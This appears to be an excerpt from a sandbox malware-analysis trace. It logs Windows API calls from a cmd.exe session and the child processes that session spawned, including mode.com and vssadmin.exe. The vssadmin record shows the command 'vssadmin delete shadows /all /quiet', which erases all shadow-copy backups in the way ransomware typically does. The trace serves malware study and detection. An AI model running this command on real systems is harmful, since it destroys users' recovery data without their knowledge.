	[0251.898] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0251.898] ReadFile (in: hFile=0xe8, lpBuffer=0x4accc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x12f4b8, lpOverlapped=0x0 | out: lpBuffer=0x4accc320*, lpNumberOfBytesRead=0x12f4b8*=0x1, lpOverlapped=0x0) returned 1
	[0251.898] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4accc320, cbMultiByte=1, lpWideCharStr=0x4acce328, cchWideChar=1 | out: lpWideCharStr="\nmin delete shadows /all /quiet\n") returned 1
	[0251.898] _get_osfhandle (_FileHandle=0) returned 0xe8
	[0251.898] GetFileType (hFile=0xe8) returned 0x3
	[0251.898] _get_osfhandle (_FileHandle=0) returned 0xe8
	[0251.898] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0251.898] _get_osfhandle (_FileHandle=1) returned 0xf4
	[0251.899] GetFileType (hFile=0xf4) returned 0x3
	[0251.899] _get_osfhandle (_FileHandle=1) returned 0xf4
	[0251.899] WideCharToMultiByte (in: CodePage=0x4e3, dwFlags=0x0, lpWideCharStr="Exit\n", cchWideChar=-1, lpMultiByteStr=0x4accc320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Exit\n", lpUsedDefaultChar=0x0) returned 6
	[0251.899] WriteFile (in: hFile=0xf4, lpBuffer=0x4accc320*, nNumberOfBytesToWrite=0x5, lpNumberOfBytesWritten=0x12f498, lpOverlapped=0x0 | out: lpBuffer=0x4accc320*, lpNumberOfBytesWritten=0x12f498*=0x5, lpOverlapped=0x0) returned 1
	[0251.899] GetProcessHeap () returned 0x220000
	[0251.899] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x8, Size=0x4012) returned 0x242010
	[0251.899] GetProcessHeap () returned 0x220000
	[0251.899] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x242010 | out: hHeap=0x220000) returned 1
	[0251.899] GetProcessHeap () returned 0x220000
	[0251.899] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x8, Size=0xb0) returned 0x239840
	[0251.899] GetProcessHeap () returned 0x220000
	[0251.899] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x8, Size=0x1a) returned 0x234630
	[0251.899] GetConsoleOutputCP () returned 0x4e3
	[0251.899] GetCPInfo (in: CodePage=0x4e3, lpCPInfo=0x4accbfe0 | out: lpCPInfo=0x4accbfe0) returned 1
	[0251.899] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409
	[0251.899] GetConsoleTitleW (in: lpConsoleTitle=0x12f450, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b
	[0251.899] GetProcessHeap () returned 0x220000
	[0251.899] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x8, Size=0x14) returned 0x238940
	[0251.900] GetProcessHeap () returned 0x220000
	[0251.900] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x8, Size=0x1a) returned 0x234660
	[0251.900] GetProcessHeap () returned 0x220000
	[0251.900] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x8, Size=0x21c) returned 0x23b9a0
	[0251.900] GetConsoleTitleW (in: lpConsoleTitle=0x23b9b0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b
	[0251.900] GetProcessHeap () returned 0x220000
	[0251.900] RtlReAllocateHeap (Heap=0x220000, Flags=0x0, Ptr=0x23b9a0, Size=0x62) returned 0x23b9a0
	[0251.900] GetProcessHeap () returned 0x220000
	[0251.900] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x23b9a0) returned 0x62
	[0251.900] SetConsoleTitleW (lpConsoleTitle="C:\\Windows\\system32\\cmd.exe - Exit") returned 1
	[0251.900] GetProcessHeap () returned 0x220000
	[0251.900] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23b9a0 | out: hHeap=0x220000) returned 1
	[0251.900] SetConsoleTitleW (lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 1
	[0251.901] exit (_Code=2) 

Process:
	id = "13"
	image_name = "mode.com"
	filename = "c:\\windows\\system32\\mode.com"
	page_root = "0x6fa45000"
	os_pid = "0x640"
	os_integrity_level = "0x2000"
	os_privileges = "0x800000"
	monitor_reason = "child_process"
	parent_id = "12"
	os_parent_pid = "0x5bc"
	cmd_line = "mode  con cp select=1251"
	cur_dir = "C:\\Windows\\system32\\"
	os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz"
	bitness = "64"
	os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e17d" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 93
	os_tid = 0x644


Process:
	id = "14"
	image_name = "vssadmin.exe"
	filename = "c:\\windows\\system32\\vssadmin.exe"
	page_root = "0x6f752000"
	os_pid = "0x664"
	os_integrity_level = "0x2000"
	os_privileges = "0x800000"
	monitor_reason = "child_process"
	parent_id = "12"
	os_parent_pid = "0x5bc"
	cmd_line = "vssadmin  delete shadows /all /quiet"
	cur_dir = "C:\\Windows\\system32\\"
	os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz"
	bitness = "64"
	os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e17d" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 94
	os_tid = 0x668


Thread:
	id = 105
	os_tid = 0x69c


Thread:
	id = 106
	os_tid = 0x6a0


Thread:
	id = 107
	os_tid = 0x6ac


Thread:
	id = 108
	os_tid = 0x6b0